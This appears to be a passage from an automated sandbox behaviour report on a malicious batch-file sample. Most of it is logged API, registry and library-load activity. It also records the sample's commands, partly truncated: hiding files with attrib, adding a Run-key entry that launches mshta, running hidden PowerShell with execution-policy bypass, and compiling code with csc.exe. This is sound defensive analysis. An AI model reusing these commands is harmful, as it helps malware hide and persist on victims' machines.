"GetVersionExW" (Indicator: "GetVersionExW"; Source: "00000000-00002240.00000000.193762.68082000.00000002.mdmp, 00000000-00002240.00000000.193762.D01DA000.00000002.mdmp") Found reference to API "GetVersionExW" (Indicator: "GetVersion"; Source: "00000000-00002240.00000000.193762.68082000.00000002.mdmp, 00000000-00002240.00000000.193762.D01DA000.00000002.mdmp") Found reference to API "RtlGetVersion" (Indicator: "GetVersion"; Source: "00000000-00002240.00000000.193762.68082000.00000002.mdmp") Found reference to API "VerSetConditionMask" (Indicator: "VerSetConditionMask"; Source: "00000000-00002240.00000000.193762.D01DA000.00000002.mdmp") Found reference to API "VerifyVersionInfoW" (Indicator: "VerifyVersionInfo"; Source: "00000000-00002240.00000000.193762.D01DA000.00000002.mdmp") Found reference to API "GetVersionExW" (Indicator: "GetVersionExW"; Source: "00000000-00004004.00000000.194219.6B2A2000.00000002.mdmp, 00000000-00004004.00000001.195692.4B078000.00000002.mdmp, 00000000-00004004.00000001.195692.D01DA000.00000002.mdmp") Found reference to API "GetVersionExW" (Indicator: "GetVersion"; Source: "00000000-00004004.00000000.194219.6B2A2000.00000002.mdmp, 00000000-00004004.00000001.195692.4B078000.00000002.mdmp, 00000000-00004004.00000001.195692.D01DA000.00000002.mdmp") Found reference to API "RtlGetVersion" (Indicator: "GetVersion"; Source: "00000000-00004004.00000000.194219.6B2A2000.00000002.mdmp, 00000000-00004004.00000001.195692.4B078000.00000002.mdmp")31:T7c3,"explorer.exe" (Access type: "QUERY"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES"; Key: ""; Value: "") "explorer.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D27478B9-2058-11E8-B41F-806E6F6E6963}"; Key: "ENABLEDHCP"; Value: "") "explorer.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D03DB0C1-2729-4674-A875-8625DD784300}"; Key: "REGISTRATIONENABLED"; Value: "") "explorer.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D03DB0C1-2729-4674-A875-8625DD784300}"; Key: "REGISTERADAPTERNAME"; Value: "") "explorer.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D03DB0C1-2729-4674-A875-8625DD784300}"; Key: "DOMAIN"; Value: "") "explorer.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D03DB0C1-2729-4674-A875-8625DD784300}"; Key: "DHCPDOMAIN"; Value: "") "explorer.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D27478B9-2058-11E8-B41F-806E6F6E6963}"; Key: "REGISTRATIONENABLED"; Value: "") "explorer.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D27478B9-2058-11E8-B41F-806E6F6E6963}"; Key: "REGISTERADAPTERNAME"; Value: "") "explorer.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D27478B9-2058-11E8-B41F-806E6F6E6963}"; Key: "DOMAIN"; Value: "") "explorer.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D27478B9-2058-11E8-B41F-806E6F6E6963}"; Key: "DHCPDOMAIN"; Value: "") "explorer.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D03DB0C1-2729-4674-A875-8625DD784300}"; Key: "SEARCHLIST"; Value: "")32:T528,"explorer.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLIENTS\STARTMENUINTERNET"; Key: ""; Value: "") "explorer.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLIENTS\STARTMENUINTERNET\GOOGLE CHROME"; Key: ""; Value: "") "explorer.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLIENTS\STARTMENUINTERNET\GOOGLE CHROME\SHELL\OPEN\COMMAND"; Key: ""; Value: "") "explorer.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLIENTS\STARTMENUINTERNET\GOOGLE CHROME\SHELL\OPEN\COMMAND"; Key: ""; Value: "") "explorer.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLIENTS\STARTMENUINTERNET\IEXPLORE.EXE"; Key: ""; Value: "") "explorer.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLIENTS\STARTMENUINTERNET\IEXPLORE.EXE\SHELL\OPEN\COMMAND"; Key: ""; Value: "") "explorer.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLIENTS\STARTMENUINTERNET\IEXPLORE.EXE\SHELL\OPEN\COMMAND"; Key: ""; Value: "") "explorer.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLIENTS\STARTMENUINTERNET\MICROSOFT EDGE"; Key: ""; Value: "") "explorer.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLIENTS\STARTMENUINTERNET\MICROSOFT EDGE\SHELL\OPEN\COMMAND"; Key: ""; Value: "") "explorer.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLIENTS\STARTMENUINTERNET\MICROSOFT EDGE\SHELL\OPEN\COMMAND"; Key: ""; Value: "")33:Te6f,"cmd.exe" queries volume information of "C:\" at 00000000-00001468-00000C17-2021438878 "powershell.exe" queries volume information of "C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00112~31bf3856ad364e35~amd64~~10.0.16299.15.cat" at 00000000-00002240-00000C17-2030551686 "powershell.exe" queries volume information of "C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll" at 00000000-00002240-00000C17-2031139172 "powershell.exe" queries volume information of "C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll" at 00000000-00002240-00000C17-2031588713 "powershell.exe" queries volume information of "C:\" at 00000000-00002240-00000C17-2032100734 "powershell.exe" queries volume information of "C:\share" at 00000000-00002240-00000C17-2032102257 "powershell.exe" queries volume information of "C:\share" at 00000000-00002240-00000C17-2032180268 "powershell.exe" queries volume information of "C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00112~31bf3856ad364e35~amd64~~10.0.16299.15.cat" at 00000000-00002240-00000C17-2033032435 "powershell.exe" queries volume information of "C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00112~31bf3856ad364e35~amd64~~10.0.16299.15.cat" at 00000000-00002240-00000C17-2033169956 "powershell.exe" queries volume information of "C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00112~31bf3856ad364e35~amd64~~10.0.16299.15.cat" at 00000000-00002240-00000C17-2033212427 "powershell.exe" queries volume information of "C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00112~31bf3856ad364e35~amd64~~10.0.16299.15.cat" at 00000000-00004004-00000C17-2037732802 "powershell.exe" queries volume information of "C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll" at 00000000-00004004-00000C17-2038216406 "powershell.exe" queries volume information of "C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll" at 00000000-00004004-00000C17-2038613867 "powershell.exe" queries volume information of "C:\" at 00000000-00004004-00000C17-2038906451 "powershell.exe" queries volume information of "C:\share" at 00000000-00004004-00000C17-2038908175 "powershell.exe" queries volume information of "C:\share" at 00000000-00004004-00000C17-2039103447 "powershell.exe" queries volume information of "C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00112~31bf3856ad364e35~amd64~~10.0.16299.15.cat" at 00000000-00004004-00000C17-2040346035 "powershell.exe" queries volume information of "C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00112~31bf3856ad364e35~amd64~~10.0.16299.15.cat" at 00000000-00004004-00000C17-2040595015 "powershell.exe" queries volume information of "C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00112~31bf3856ad364e35~amd64~~10.0.16299.15.cat" at 00000000-00004004-00000C17-2040636618 "powershell.exe" queries volume information of "C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00112~31bf3856ad364e35~amd64~~10.0.16299.15.cat" at 00000000-00004004-00000C17-204078461834:Ta03,"powershell.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA"; Key: "") "powershell.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES"; Key: "") "powershell.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CRLS"; Key: "") "powershell.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CTLS"; Key: "") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA"; Key: "") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES"; Key: "") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CRLS"; Key: "") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CTLS"; Key: "") "powershell.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED"; Key: "") "powershell.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CERTIFICATES"; Key: "") "powershell.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CRLS"; Key: "") "powershell.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CTLS"; Key: "") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED"; Key: "") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CERTIFICATES"; Key: "") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CRLS"; Key: "") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CTLS"; Key: "") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\ROOT"; Key: "") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\ROOT\CERTIFICATES"; Key: "") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\ROOT\CRLS"; Key: "") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\ROOT\CTLS"; Key: "") "powershell.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\TRUSTEDPEOPLE"; Key: "") "powershell.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\TRUSTEDPEOPLE\CERTIFICATES"; Key: "") "powershell.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\TRUSTEDPEOPLE\CRLS"; Key: "") "powershell.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\TRUSTEDPEOPLE\CTLS"; Key: "") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\TRUSTEDPEOPLE"; Key: "")35:T50b,"powershell.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\AUTHROOT\AUTOUPDATE"; Key: "DISALLOWEDCERTSYNCDELTATIME") "powershell.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA"; Key: "") "powershell.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES"; Key: "") "powershell.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\104C63D2546B8021DD105E9FBA5A8D78169F6B32"; Key: "BLOB") "powershell.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\247106A405B288A46E70A0262717162D0903E734"; Key: "BLOB") "powershell.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\27AC9369FAF25207BB2627CEFACCBE4EF9C319B8"; Key: "BLOB") "powershell.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\339CDD57CFD5B141169B615FF31428782D1DA639"; Key: "BLOB") "powershell.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\4C27431717565A3A07F3E6D0032C4258949CF9EC"; Key: "BLOB") "powershell.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\525C47FB3A5E0655FBD4BE963CA1E94D5FECB43D"; Key: "BLOB") "powershell.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\5AEAEE3F7F2A9449CEBAFEEC68FDD184F20124A7"; Key: "BLOB")36:T566,"cmd.exe" called "CreateProcessW" with parameter "%WINDIR%\system32\cmd.exe /K "C:\RFQ#126826.03.26-mvArunaCengiz_IMO9552331_.bat"" - (UID: 00000000-00004424) "cmd.exe" called "CreateProcessW" with parameter "attrib +h +s "%APPDATA%\Microsoft\Windows\Templates\TREATMENT.cmd"" - (UID: 00000000-00001468) "cmd.exe" called "CreateProcessW" with parameter "attrib +h +s "%APPDATA%\Microsoft\Windows\Templates\Together.hta"" - (UID: 00000000-00001468) "cmd.exe" called "CreateProcessW" with parameter "reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v Reinforce /t REG_SZ /d "mshta.exe \"%USERPROFILE%\AppData\Roam" - (UID: 00000000-00001468) "cmd.exe" called "CreateProcessW" with parameter "powershell -nop -w h -ep bypass -c "try { $TEENAGER = [IO.File]::ReadAllText('C:\RFQ#126826.03.26-mvArunaCengiz_IMO9552331_.bat')" - (UID: 00000000-00001468), "cmd.exe" called "CreateProcessW" with parameter "powershell.exe -nop -w h -ep bypass -f "%TEMP%\Valuable.ps1"" - (UID: 00000000-00001468), "powershell.exe" called "CreateProcessW" with parameter ""%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"%TEMP%\wdkx4uyy\wdkx" - (UID: 00000000-00004004) "powershell.exe" called "CreateProcessW" with parameter ""%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"%TEMP%\ubgrkq2f\ubgr" - (UID: 00000000-00004004)37:T929e,"cmd.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00004424) "cmd.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00004424) "cmd.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00004424) "cmd.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00004424) "cmd.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00001468) "cmd.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00001468) "cmd.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00001468) "cmd.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00001468) "reg.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00004144) "reg.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00004144) "reg.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00004144) "reg.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00004144) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00002240) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00002240) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00002240) "powershell.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00002240) "powershell.exe" called "LoadLibrary" with a parameter ADVAPI32.dll (UID: 00000000-00002240) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscoreei.dll (UID: 00000000-00002240) "powershell.exe" called "LoadLibrary" with a parameter SHLWAPI.dll (UID: 00000000-00002240) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-appmodel-runtime-l1-1-2.dll (UID: 00000000-00002240) "powershell.exe" called "LoadLibrary" with a parameter VERSION.dll (UID: 00000000-00002240) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\clr.dll (UID: 00000000-00002240) "powershell.exe" called "LoadLibrary" with a parameter USER32.dll (UID: 00000000-00002240) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-quirks-l1-1-0.dll (UID: 00000000-00002240) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscoree.dll (UID: 00000000-00002240) "powershell.exe" called "LoadLibrary" with a parameter mscoree.dll (UID: 00000000-00002240) "powershell.exe" called "LoadLibrary" with a parameter ntdll (UID: 00000000-00002240) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\combase.dll (UID: 00000000-00002240) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\mscorlib\fe2524177eb3088c77be666722039f52\mscorlib.ni.dll (UID: 00000000-00002240) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\ole32.dll (UID: 00000000-00002240) "powershell.exe" called "LoadLibrary" with a parameter ole32.dll (UID: 00000000-00002240) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-l1-1-0.dll (UID: 00000000-00002240) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-winrt-l1-1-0.dll (UID: 00000000-00002240) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\oleaut32.dll (UID: 00000000-00002240) "powershell.exe" called "LoadLibrary" with a parameter oleaut32.dll (UID: 00000000-00002240) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System\e43dd9c73ab5615e461bf5109c3facd6\System.ni.dll (UID: 00000000-00002240) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Core\0d59b0e237d7519417de10cd84bda4e7\System.Core.ni.dll (UID: 00000000-00002240) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\Microsoft.Pb378ec07#\b5ba37e1558ced178a99011a1d659b52\Microsoft.PowerShell.ConsoleH (UID: 00000000-00002240) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\OLEAUT32.dll (UID: 00000000-00002240) "powershell.exe" called "LoadLibrary" with a parameter OLEAUT32.dll (UID: 00000000-00002240) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\6da01910c256231d1c50ad0aacee5941\System.Management.Automation. (UID: 00000000-00002240) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\combase.dll (UID: 00000000-00002240) "powershell.exe" called "LoadLibrary" with a parameter combase.dll (UID: 00000000-00002240) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-winrt-string-l1-1-0.dll (UID: 00000000-00002240) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-string-l1-1-0.dll (UID: 00000000-00002240) "powershell.exe" called "LoadLibrary" with a parameter advapi32.dll (UID: 00000000-00002240) "powershell.exe" called "LoadLibrary" with a parameter ntdll.dll (UID: 00000000-00002240) "powershell.exe" called "LoadLibrary" with a parameter kernel32.dll (UID: 00000000-00002240) "powershell.exe" called "LoadLibrary" with a parameter version.dll (UID: 00000000-00002240) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\psapi.dll (UID: 00000000-00002240) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\shell32.dll (UID: 00000000-00002240) "powershell.exe" called "LoadLibrary" with a parameter psapi.dll (UID: 00000000-00002240) "powershell.exe" called "LoadLibrary" with a parameter user32.dll (UID: 00000000-00002240) "powershell.exe" called "LoadLibrary" with a parameter shell32.dll (UID: 00000000-00002240) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\en-US\mscorrc.dll (UID: 00000000-00002240) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\ntdll.dll (UID: 00000000-00002240) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\en\mscorrc.dll (UID: 00000000-00002240) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll (UID: 00000000-00002240) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\amsi.dll (UID: 00000000-00002240) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\wintrust.dll (UID: 00000000-00002240) "powershell.exe" called "LoadLibrary" with a parameter wintrust.dll (UID: 00000000-00002240) "powershell.exe" called "LoadLibrary" with a parameter amsi.dll (UID: 00000000-00002240) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Management\b221af81285c1305324612e6dc9c88ff\System.Management.ni.dll (UID: 00000000-00002240) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\version.dll (UID: 00000000-00002240) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Dired13b18a9#\8ad4c0af5b3d51a0f3a4dac0d44d85d4\System.DirectoryServices.ni.d (UID: 00000000-00002240) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Configuration\4beb1eeca20b27d4bd1bb9880f03cc2a\System.Configuration.ni.dll (UID: 00000000-00002240) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\crypt32.dll (UID: 00000000-00002240) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\Microsoft.Mf49f6405#\7b1f35fb0c2d6955ce5af2bd372c65f2\Microsoft.Management.Infrastr (UID: 00000000-00002240) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Xml\5ee35debfc22f727e70e4479ddcbc045\System.Xml.ni.dll (UID: 00000000-00002240) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Numerics\86cfd69ce1261baf4740e7606cade014\System.Numerics.ni.dll (UID: 00000000-00002240) "powershell.exe" called "LoadLibrary" with a parameter crypt32.dll (UID: 00000000-00002240) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Data\7bed49c46de9295a8453db205c60a028\System.Data.ni.dll (UID: 00000000-00002240) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\CRYPT32.dll (UID: 00000000-00002240) "powershell.exe" called "LoadLibrary" with a parameter CRYPT32.dll (UID: 00000000-00002240) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\en-US\tzres.dll.mui (UID: 00000000-00002240) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll (UID: 00000000-00002240) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-xstate-l2-1-0.dll (UID: 00000000-00002240) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\clrjit.dll (UID: 00000000-00002240) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\Microsoft.P6f792626#\7ff5199e757cb8af9ad949453f698d09\Microsoft.PowerShell.Security (UID: 00000000-00002240) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Transactions\604272b0faec2e09d53d38e03bc89c6c\System.Transactions.ni.dll (UID: 00000000-00002240) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll (UID: 00000000-00002240) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\secur32.dll (UID: 00000000-00002240) "powershell.exe" called "LoadLibrary" with a parameter secur32.dll (UID: 00000000-00002240) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\shlwapi.dll (UID: 00000000-00002240) "powershell.exe" called "LoadLibrary" with a parameter shlwapi.dll (UID: 00000000-00002240) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\wldp.dll (UID: 00000000-00002240) "powershell.exe" called "LoadLibrary" with a parameter wldp.dll (UID: 00000000-00002240) "powershell.exe" called "LoadLibrary" with a parameter %ALLUSERSPROFILE%\Microsoft\Windows Defender\platform\4.12.17007.18022-0\MPCLIENT.DLL (UID: 00000000-00002240) "powershell.exe" called "LoadLibrary" with a parameter %ALLUSERSPROFILE%\Microsoft\Windows Defender\platform\4.12.17007.18022-0\MsMpLics.dll (UID: 00000000-00002240) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\kernel32.dll (UID: 00000000-00002240) "powershell.exe" called "LoadLibrary" with a parameter USERENV.dll (UID: 00000000-00002240) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\advapi32.dll (UID: 00000000-00002240) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-roparameterizediid-l1-1-0.dll (UID: 00000000-00002240) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-winrt-roparameterizediid-l1-1-0.dll (UID: 00000000-00002240) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\Microsoft.P521220ea#\df7d947a99cbcfaa726b127726f05476\Microsoft.PowerShell.Commands (UID: 00000000-00002240) "powershell.exe" called "LoadLibrary" with a parameter 